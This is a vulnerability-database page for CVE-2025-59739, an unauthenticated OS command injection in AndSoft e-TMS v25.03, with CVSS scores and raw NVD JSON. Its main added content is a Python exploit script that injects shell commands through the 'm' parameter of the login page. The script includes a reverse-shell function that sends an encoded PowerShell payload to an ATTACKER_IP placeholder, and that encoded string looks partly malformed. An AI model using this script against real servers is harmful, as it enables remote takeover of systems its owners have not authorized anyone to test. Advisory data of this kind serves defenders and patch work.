Security Vulnerability Report
中文
CVE-2025-59739 CVSS 9.8 CRITICAL

CVE-2025-59739

Published: 2025-10-02 14:15:47
Last Modified: 2025-10-02 20:25:41

Description

Operating system command injection vulnerability in AndSoft's e-TMS v25.03. This vulnerability allows an attacker to execute operating system commands on the server by sending a POST request. The relationship between parameter and assigned identifier is a 'm' parameter in '/clt/LOGINFRM_original.ASP'.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:andsoft:e-tms:25.03:*:*:*:*:*:*:* - VULNERABLE
AndSoft e-TMS v25.03

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59739 - AndSoft e-TMS OS Command Injection PoC # Vulnerability: OS Command Injection via 'm' parameter in /clt/LOGINFRM_original.ASP # CVSS: 9.8 (Critical) # Affected: AndSoft e-TMS v25.03 import requests TARGET_URL = "http://target-server/clt/LOGINFRM_original.ASP" # Basic PoC - Inject 'whoami' command via 'm' parameter def exploit_basic(target_url): """ Basic exploitation: Execute 'whoami' command on the target server """ # Payload using command separator to inject OS command payload = "test;whoami" data = { "m": payload } response = requests.post(target_url, data=data) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response # Advanced PoC - Using pipe operator for command injection def exploit_pipe(target_url, cmd="id"): """ Advanced exploitation using pipe operator """ payload = f"test|{cmd}" data = { "m": payload } response = requests.post(target_url, data=data) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response # Reverse shell payload example (for authorized testing only) def exploit_reverse_shell(target_url, attacker_ip="ATTACKER_IP", attacker_port=4444): """ Generate reverse shell payload (FOR AUTHORIZED TESTING ONLY) """ # Windows reverse shell via PowerShell payload = f'test;powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwBZAFMAVABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAewBhAHQAdABhAGMAawBlAHIAX0BpAHAAfQB7AHMAfQAsACIAbgBvAHQAMQBzAGgAZQBsAGwAIgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ACQAYgB5AHQAZQBzAFsAJABpAF0AfQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAQkAGMAbABpAGUAbgB0ACkA' data = { "m": payload } response = requests.post(target_url, data=data) return response if __name__ == "__main__": print("[*] CVE-2025-59739 - AndSoft e-TMS Command Injection PoC") print("[*] WARNING: Use only on systems you are authorized to test\n") # Run basic exploit exploit_basic(TARGET_URL) # Run pipe-based exploit exploit_pipe(TARGET_URL, cmd="whoami") # Example raw HTTP request: # POST /clt/LOGINFRM_original.ASP HTTP/1.1 # Host: target-server # Content-Type: application/x-www-form-urlencoded # # m=test;whoami

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59739", "sourceIdentifier": "[email protected]", "published": "2025-10-02T14:15:46.610", "lastModified": "2025-10-02T20:25:41.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Operating system command injection vulnerability in AndSoft's e-TMS v25.03. This vulnerability allows an attacker to execute operating system commands on the server by sending a POST request. The relationship between parameter and assigned identifier is a 'm' parameter in '/clt/LOGINFRM_original.ASP'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:andsoft:e-tms:25.03:*:*:*:*:*:*:*", "matchCriteriaId": "DA9BDB99-4B85-46EF-A8EA-B0E7B1DCF276"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/update-24092025-multiple-vulnerabilities-andsofts-e-tms", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}